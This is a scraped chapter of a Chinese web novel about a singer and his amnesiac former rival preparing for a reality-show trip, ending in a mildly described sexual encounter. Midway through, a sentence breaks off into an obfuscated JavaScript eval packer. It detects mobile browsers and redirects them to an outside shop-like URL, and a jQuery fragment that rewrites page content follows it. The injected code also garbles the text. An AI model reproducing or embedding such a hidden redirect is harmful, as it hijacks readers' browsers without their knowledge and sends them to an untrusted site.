42. 云端牧歌一
作品:《为失忆死对头戴上项圈》 飞行嘉宾,不愉快的熟人。
江洺几乎立刻想到了几个名字:天音可能塞进来的人,比如某个急于上位的新人、或者……秦衡。
秦衡那张被酒色浸染、写满贪婪的脸在脑海中浮现。
如果真是他……节目组为了话题度,确实做得出。
他皱了皱眉,下意识看向沙发上的傅予沉。如果秦衡来了,以那人肆无忌惮的性子,在镜头前恐怕也不会收敛。而傅予沉……他现在是‘失忆’状态,会如何反应?是继续扮演温顺的‘男友’,还是会流露出属于‘傅予沉’的攻击性?
更重要的是,自己呢?在镜头前,他要如何应对秦衡的骚扰?继续维持冷淡疏离的‘敬业’形象,还是……
“唔……”沙发上的傅予沉忽然动了动,含糊地呻吟了一声,眉头蹙起,像是陷入了什么不安的梦境。
他无意识地往毯子里缩了缩,嘴里嘟囔了一句什么,听不真切。
江洺静静地看了他几秒,然后站起身,走到沙发边。他俯身,拿起傅予沉手中快要滑落的水杯,放到茶几上。
动作间,傅予沉身上的毯子滑落了一角,家居服微微散开,露出了一段弧度优美的锁骨。
江洺顿了顿,伸出手,将那角毯子重新拉上去,盖好。
指尖无意间擦过傅予沉的颈侧皮肤,触感温热。
就在他准备直起身时,傅予沉忽然伸出手,在半空中无意识地抓了抓,抓住了他的手腕。
力道不重,带着睡梦中的懵懂。
江洺身体一僵。
傅予沉的眼睛依旧紧闭,呼吸悠长,显然并未醒来。他只是本能地抓住了触碰到的、温热的东西,像是某种缺乏安全感的‘确认’。
在发觉对方想要逃离的时候,傅予沉的手指又微微收紧,指尖无意识地摩挲着江洺手腕内侧那道浅淡的旧痕。
一下,又一下。
轻柔的,带着睡梦中模糊的依恋。
江洺垂眸,看着自己被握住的手腕,看着傅予沉无意识摩挲的手指。
那道旧伤在对方温热的指尖下,仿佛也泛起一丝奇异的、微弱的痒。
他没有立刻抽回手。
时间仿佛在这一刻被拉长、凝滞,客厅里只有广告隐约的背景音,和两人交织的呼吸声。
许久,江洺才用另一只手,轻轻但坚定地,掰开了傅予沉的手指。
他的动作很缓,没有惊醒对方。傅予沉的手滑落回毯子里,咂了咂嘴,翻了个身,又沉沉睡去。
江洺直起身,站在原地,低头看了看自己的手腕,那里仿佛还残留着不属于自己的温度和触感。
他转身,走向卧室。在关上房门之前,又回头看了一眼沙发。
傅予沉背对着他,睡得很沉,毯子随着呼吸轻轻起伏。
江洺关上门,背靠在门板上。
黑暗中,他抬起手,用另一只手的指尖,碰了碰刚才被傅予沉握过、摩挲过的地方。
一片寂静。
只有胸腔里,那颗平稳跳动的心脏,似乎漏跳了几拍,又或者,只是错觉。
--
次日清晨,江洺在厨房照着平板上的攻略,准备简单的早餐时,收到了节目组发来的第四期完整策划案。
主题:一起去旅行·云端牧歌
地点:西南高原,云顶牧场
核心设定:为期五天四夜的慢节奏旅行,主打自然疗愈与关系沉淀。任务强度降低,更多自由活动时间。节目组提供基础物资,其余需通过完成每日“默契挑战”获取。
特殊规则:心跳共鸣日,在旅程最后一天,两人需在日落时分,于牧场最高处的观景台,独立完成一项“心跳默契测试”。测试内容保密,结果将影响最终心动币结算,并可能触发特殊奖励。
飞行嘉宾:将于旅行第二日加入,停留两晚。
云顶牧场。
江洺看着这个名字,脑中浮现出广袤的草原、悠然的牛羊,以及高原特有的、仿佛触手可及的蓝天白云。
与之前的深海密室、极限荒野、喧嚣游乐园截然不同,这是一个……宁静的,甚至称得上温柔的地方。
丁明志这次,竟然没有选择继续加压,反而递出了一个看似平和的“缓冲带”。
是暴风雨前的宁静吗?还是说,连这位精于算计的导演兼制片人,也看出了他们之间那根绷得太紧的弦,需要暂时松缓?
“哥哥,早。”傅予沉揉着眼睛从客房走出来,头发睡得翘起一撮,声音带着刚醒的沙哑。他自然地蹭到厨房岛台边,探头看江洺煎蛋,“好香。”
江洺恍然察觉,他们……似乎好久没有住在一间卧室过了。
好像是,第二期节目录制结束之后,某一次他因为前一天熬夜做新曲的小样,第二天晚上就休息的早了些……然后,傅予沉就很自觉的回到了客卧休息。再然后……自然而然的,在睡前互道‘晚安’,然后各自回到不同的房间。
仿佛谁也没有察觉到这点微不足道的异常。
他们在白天的距离更近了些,却在夜晚的距离更远了些。
两个多月了啊,时间一晃而过,距离那份《恋爱合约》的结束,也只有区区十来天的光阴了。
“嗯。”江洺收起思绪,若无其事地将煎好的蛋装盘,顺手把旁边的策划案平板推过去,“第四期地点定了。”
傅予沉拿起平板,快速浏览,眼睛渐渐亮起来,“云顶牧场?好像风景很好的样子!海拔……3000米,哥哥你身体没问题吗?”他立刻抬头,关切地看向江洺。
“没事。”江洺将早餐端到餐桌,“飞行嘉宾第二日到,名单还没给。”
傅予沉在对面坐下,咬了口面包,腮帮子微微鼓起,眼神却若有所思,“飞行嘉宾啊……会是谁呢?”他状似无意地嘟囔,“希望别是太麻烦的人。”
江洺看了他一眼,没说话。他知道傅予沉肯定也收到了风声,甚至可能比他更清楚来者何人。此刻这副‘单纯担忧’的模样,演得倒是逼真。
两人安静地吃着早餐。晨光透过窗户,洒在餐桌上,一片宁和。
“对了,”傅予沉忽然放下牛奶杯,眼神亮晶晶地看向江洺,带着点期待,“节目组说可以带些个人物品。哥哥,我们……要不要带点特别的?比如……带个小望远镜,晚上看星星?高原的星星肯定很亮。”
他兴致勃勃地规划着,语气里是毫不掩饰的对这次‘旅行’的期待,仿佛真的只是一场普通的、与心上人结伴出游的甜蜜旅程。
“诶,对了,哥哥你喜欢看星星吗?”傅予沉恍然想起,在上一期节目的录制中,江洺曾以“星星”,类比过海里的“水母”。短短的两个月,足够他们建立亲密关系,却不足以培养出他们像普通情侣那样,被时间打磨过的默契。
江洺握着叉子的手顿了顿。傅予沉的提议太具体,太‘生活化’,甚至带着点幼稚的浪漫。这不像那个失忆前高傲矜贵的影帝会考虑的事情,甚至也不像失忆初期那个只知道笨拙讨好的人会想到的细节。
这更像是,某种小心翼翼的‘弥补’和‘营造’。
弥补过去两个多月前那些嘲讽带来的伤害?营造一种看似普通情侣的、温馨的旅行假象?
江洺抬起眼,对上傅予沉的视线。对方正看着他,眼神清澈,期待满满,仿佛在等待他的认可。
“喜欢的。”江洺最终只是淡淡说了三个字,低下头继续吃早餐。
他记得那句话,星星是从遥远宇宙中跨越光年,赶来的微光……也记得,傅予沉说那句话时,夜色
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17439612|198014||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
很美。
傅予沉眼中的光彩瞬间更明亮了些,像是得到了奖赏了大型犬,如果有尾巴的话,应该会摇的比那他脚下的那只“奶糖”更欢,“那我来准备!哥哥你忙你的,行李我来收拾!”
他语气轻快,仿佛接下了什么了不得的重任。
江洺没再说话,他听着傅予沉在餐桌对面轻声哼着不成调的曲子,用手机查询着高原旅行注意事项,絮絮叨叨地说着“要带防晒”、“昼夜温差大得带厚外套”……
窗外的阳光越来越暖。
那些关于天音的算计、关于江志成的逼迫、关于秦衡可能的骚扰,似乎都被暂时隔绝在了这片晨光与琐碎的交谈之外。
至少在此刻,在这个即将前往名为“云端牧歌”之地的早晨,江洺允许自己,短暂地沉溺于这片由另一个人笨拙搭建起来的、虚假却温暖的宁静里。
他知道风暴终将到来。
但在那之前,或许可以贪恋片刻,这偷来的柔和日光。
--
晚上,照例互道‘晚安’之后,江洺看着那道熟悉又陌生的背影,想着即将结束的“恋爱合约”,突然的,就下定了决心。
他想做点什么,打破他们这场“心照不宣”的僵持,想要看到……恢复记忆后的傅予沉,到底如何定义这场因为“失忆”而来的“亲密关系”。
他想要一个,更为确切的答案,或者是……行动。
‘咚咚’,他轻轻敲响了客卧的门。
里面立刻就传来了脚步声,开门的傅予沉带着一丝疑惑,“哥哥?”
江洺垂在身侧的手蜷缩了一下,微微敛眸,“云顶牧场,那边应该会有……湖泊。”
傅予沉微微一愣,随即察觉,这是……隐晦的邀请。他的眼神立即亮了起来,仿佛得到了巨大的奖赏,微微俯身,双手圈住了江洺的膝弯。
下一刻,就轻而易举的把他抱了起来。
“哥哥,我很高兴。”
江洺抿了抿唇,下意识也勾起了一抹笑容,“我也很高兴。”
即便是隔了不短的一段时间,他们的身体仍然保留了当初的记忆与契合。
皮肤暴露在微凉的空气中的时候,江洺有一瞬间的颤栗,他的手指蜷起,攥紧了身下的床单……下一刻,他的手就被一只干燥有力的手握住了,傅予沉的指尖强势的挤入了他的指缝。
“哥哥,我在……”带着轻微的喘息,他的声音很低,有着诱导的意味,“你不用忍耐,可以随时喊停……”
“还有,不要伤害自己,可以抓……我。”
江洺沉默的配合着,另一只手搭上了他暴露在空气中,却带着汗意的脊背。
只在某一时刻,傅予沉即将低下头去,用以往一样的的方式……想要帮他的时候,江洺伸手抓住了他的头发,轻声说,“不要像以前那样,今天……我们换个方式。唇……吻我。”
他微微弓身,仰起头,吻上了傅予沉的唇角,带着不容置疑的味道。
傅予沉的脸上出现了一刹那的空白,而后是一种交杂着兴奋与恐惧的无措,“我,怕……伤到哥哥。”
“不怕。”江洺轻轻咬在他的锁骨上,“我没有那么脆弱……还是,你不会?”
他没有用‘愿意,还是不愿意’试探,而是选择了激将。
在这样的夜晚,他不想去面对另外一种可能。
……
许久之后,傅予沉带着一身潮湿的汗意,趴在了江洺的颈窝,声音闷闷的,“哥哥,如果……如果我一辈子都没能恢复记忆,你会怎样?”
他不敢去假设另外一个可能,采取了一种温和的方式……假设,和试探。
江洺的脑海里,还残存着极致欢愉之后的空茫,有些好笑,“嗯,那我就养你一辈子。”

